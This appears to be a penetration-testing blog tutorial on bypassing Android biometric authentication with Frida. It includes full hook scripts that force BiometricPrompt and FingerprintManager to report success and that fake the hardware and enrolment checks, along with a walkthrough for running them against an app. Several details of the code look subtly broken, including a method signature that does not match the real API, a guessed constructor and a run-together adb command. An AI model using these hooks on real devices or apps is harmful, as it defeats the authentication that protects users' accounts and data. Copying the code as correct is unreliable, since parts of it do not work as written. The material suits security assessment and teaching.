Android App Penetration Testing & Frida Hooks

Advanced Frida: Dynamic Biometric Authentication Bypass Techniques on Android Devices

Google AdSense Native Placement - Horizontal Top-Post banner

Introduction to Android Biometric Security & Dynamic Analysis

Biometric authentication has become a cornerstone of modern mobile security, offering a convenient yet seemingly robust method for users to access sensitive applications. On Android devices, this typically involves fingerprint, face, or iris recognition, managed through platform APIs like BiometricPrompt or FingerprintManager. While these mechanisms enhance user experience, security researchers and penetration testers often need to analyze and, at times, bypass them to understand their underlying security posture, identify vulnerabilities, or conduct forensic investigations.

Dynamic analysis, particularly with tools like Frida, provides an unparalleled capability to interact with an application’s runtime. Unlike static analysis which examines source code or binaries, dynamic analysis allows us to observe and manipulate an app’s behavior as it executes. This article will delve into advanced techniques for using Frida to dynamically detect and bypass biometric authentication on Android devices, providing a practical guide for security professionals.

Understanding Android Biometric APIs

Before attempting a bypass, it’s crucial to understand how Android handles biometric authentication. There are two primary APIs developers interact with:

  • FingerprintManager (Android 6.0 Marshmallow to Android 9.0 Pie): This older API specifically handled fingerprint authentication. Developers would instantiate it, check for hardware and enrolled fingerprints, and then call its authenticate method, providing a FingerprintManager.AuthenticationCallback object to handle success or failure.
  • BiometricPrompt (Android 9.0 Pie and above): Introduced to unify various biometric authenticators (fingerprint, face, iris), BiometricPrompt is the recommended API for modern Android development. It provides a more user-friendly and secure experience, abstracting away the specifics of the biometric type. Similar to FingerprintManager, it requires a BiometricPrompt.AuthenticationCallback to process results.

The core of any bypass strategy involves targeting the callback methods, specifically onAuthenticationSucceeded, or manipulating the pre-check methods like isHardwareDetected or hasEnrolledBiometrics.

Setting Up Your Android Device for Frida

To follow this guide, you’ll need:

  1. A rooted Android device or emulator (e.g., Magisk).
  2. Frida server installed and running on the device.
  3. Frida client installed on your host machine (e.g., via pip install frida-tools).
  4. ADB configured for communication with your device.

Ensure the Frida server is running on your device:

adb shellsu -c /data/local/tmp/frida-server &

Detection Strategy: Identifying Biometric Authentication Calls

The first step in bypassing is knowing what to hook. There are several ways to identify the relevant biometric authentication calls:

1. Static Analysis with Decompilers

Use tools like Jadx-GUI or Ghidra to decompile the target APK. Search for references to BiometricPrompt, FingerprintManager, authenticate, onAuthenticationSucceeded, isHardwareDetected, and hasEnrolledBiometrics. This often reveals the specific classes and methods implemented by the application.

2. Dynamic Tracing with frida-trace

For a quick overview of API usage, frida-trace is invaluable. Attach it to your target application and interact with the biometric authentication feature. This can help pinpoint the exact methods being called.

frida-trace -U -f com.example.app -i "*biometric*" -i "*fingerprint*"

Observe the output for relevant method calls when you try to trigger biometric authentication.

Bypass Technique 1: Hooking BiometricPrompt (Android 9+)

For applications targeting modern Android versions, BiometricPrompt is the target. Our goal is to force the onAuthenticationSucceeded callback to be invoked, effectively tricking the app into believing authentication was successful.

Frida Script:

Java.perform(function () {    var BiometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt');    var AuthenticationCallback = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');    console.log('Hooking BiometricPrompt.authenticate...');    BiometricPrompt.authenticate.overload('android.hardware.biometrics.BiometricPrompt$Builder', 'android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback').implementation = function (builder, cancellationSignal, executor, callback) {        console.log('[+] BiometricPrompt.authenticate called!');        // Call the original authenticate method but immediately trigger success        this.authenticate(builder, cancellationSignal, executor, callback);        Java.scheduleOnMainThread(function () {            console.log('[+] Forcing onAuthenticationSucceeded...');            callback.onAuthenticationSucceeded.call(callback, null); // Pass null as BiometricPrompt.AuthenticationResult can be null        });    };    // Optional: Bypass pre-checks if app checks them    // var BiometricManager = Java.use('androidx.biometric.BiometricManager'); // For AndroidX    // var BIOMETRIC_SUCCESS = BiometricManager.BIOMETRIC_SUCCESS.value;    // BiometricManager.canAuthenticate.implementation = function () {    //     console.log('[+] BiometricManager.canAuthenticate hooked, returning BIOMETRIC_SUCCESS');    //     return BIOMETRIC_SUCCESS;    // };});

This script hooks the authenticate method. It first calls the original method (to avoid crashing the app if it expects the system to handle the UI) and then immediately schedules a call to onAuthenticationSucceeded on the main thread, bypassing the actual biometric check.

Bypass Technique 2: Hooking FingerprintManager (Android 6-9)

For older applications or those still using FingerprintManager, the approach is similar, but we target its specific methods.

Frida Script:

Java.perform(function () {    var FingerprintManager = Java.use('android.hardware.fingerprint.FingerprintManager');    var AuthenticationCallback = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationCallback');    console.log('Hooking FingerprintManager.authenticate...');    FingerprintManager.authenticate.overload('android.os.CancellationSignal', 'java.lang.Object', 'android.hardware.fingerprint.FingerprintManager$AuthenticationCallback', 'android.os.Handler').implementation = function (cancellationSignal, crypto, callback, handler) {        console.log('[+] FingerprintManager.authenticate called!');        // Call the original authenticate method        this.authenticate(cancellationSignal, crypto, callback, handler);        Java.scheduleOnMainThread(function () {            console.log('[+] Forcing onAuthenticationSucceeded...');            // Trigger onAuthenticationSucceeded, passing a dummy FingerprintManager.AuthenticationResult            var AuthenticationResult = Java.use('android.hardware.fingerprint.FingerprintManager$AuthenticationResult');            var KeyStore = Java.use('android.security.keystore.KeyPermanentlyInvalidatedException');            var dummyResult = AuthenticationResult.$new(null, null, null, 0, false); // constructor might vary            callback.onAuthenticationSucceeded.call(callback, dummyResult);        });    };    // Optional: Bypass pre-checks    FingerprintManager.isHardwareDetected.implementation = function () {        console.log('[+] FingerprintManager.isHardwareDetected hooked, returning true');        return true;    };    FingerprintManager.hasEnrolledFingerprints.implementation = function () {        console.log('[+] FingerprintManager.hasEnrolledFingerprints hooked, returning true');        return true;    };});

This script similarly hooks authenticate and forces a successful callback. It also includes hooks for isHardwareDetected and hasEnrolledFingerprints which can be useful if the app performs these checks before even attempting authentication.

Step-by-Step Walkthrough with a Target App

Let’s assume we have a fictional app, com.example.secureapp, that uses BiometricPrompt for login.

  1. Install Frida Server: Ensure your rooted device has the Frida server running as described earlier.
  2. Save the Frida Script: Save the BiometricPrompt Frida script (from Technique 1) as bypass_biometric.js.
  3. Run Frida with the Script:
frida -U -f com.example.secureapp -l bypass_biometric.js --no-pause
  1. Interact with the App: Open com.example.secureapp on your device and navigate to the biometric login screen.
  2. Observe the Bypass: When the app attempts to trigger the biometric prompt, Frida will intercept the call, print messages to your console ([+] BiometricPrompt.authenticate called!, [+] Forcing onAuthenticationSucceeded...), and the app should proceed as if a successful biometric scan occurred.

Advanced Considerations & Limitations

Native Layer Biometric Implementations

While most apps use Java APIs, some highly sensitive applications might interact with biometric hardware at a lower, native (C/C++) level. In such cases, standard Java hooking might not be sufficient. You would need to use Frida’s Module.findExportByName and Interceptor.attach to hook native functions within libraries like libhardware_legacy.so or vendor-specific biometric libraries. This requires deeper reverse engineering to identify the relevant native functions.

Anti-Frida and Anti-Tampering Measures

Sophisticated applications often employ anti-tampering techniques to detect the presence of Frida or a rooted device. These can include checking for Frida server processes, specific filesystem paths, or memory artifacts. Bypassing these requires additional anti-anti-Frida scripts. Always be prepared for an arms race when dealing with high-security applications.

Context Sensitivity

The success of these bypasses depends on the application’s implementation. Some apps might perform additional checks after onAuthenticationSucceeded is called (e.g., verifying the AuthenticationResult object for specific data, though BiometricPrompt often returns null or a minimal object). Always test thoroughly to ensure the bypass fully achieves the desired effect.

Conclusion

Dynamic analysis with Frida is an indispensable tool for understanding and manipulating Android applications at runtime. By understanding the core Android Biometric APIs and leveraging Frida’s powerful hooking capabilities, security professionals can effectively detect and bypass biometric authentication mechanisms. This knowledge is crucial for conducting comprehensive security assessments, identifying logical flaws, and strengthening the overall security posture of mobile applications. While these techniques are potent, remember to always operate within legal and ethical boundaries during penetration testing and security research.

Android Mobile Specs & Compare Directory

Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!

Compare Devices Specs →
Google AdSense Inline Placement - Content Footer banner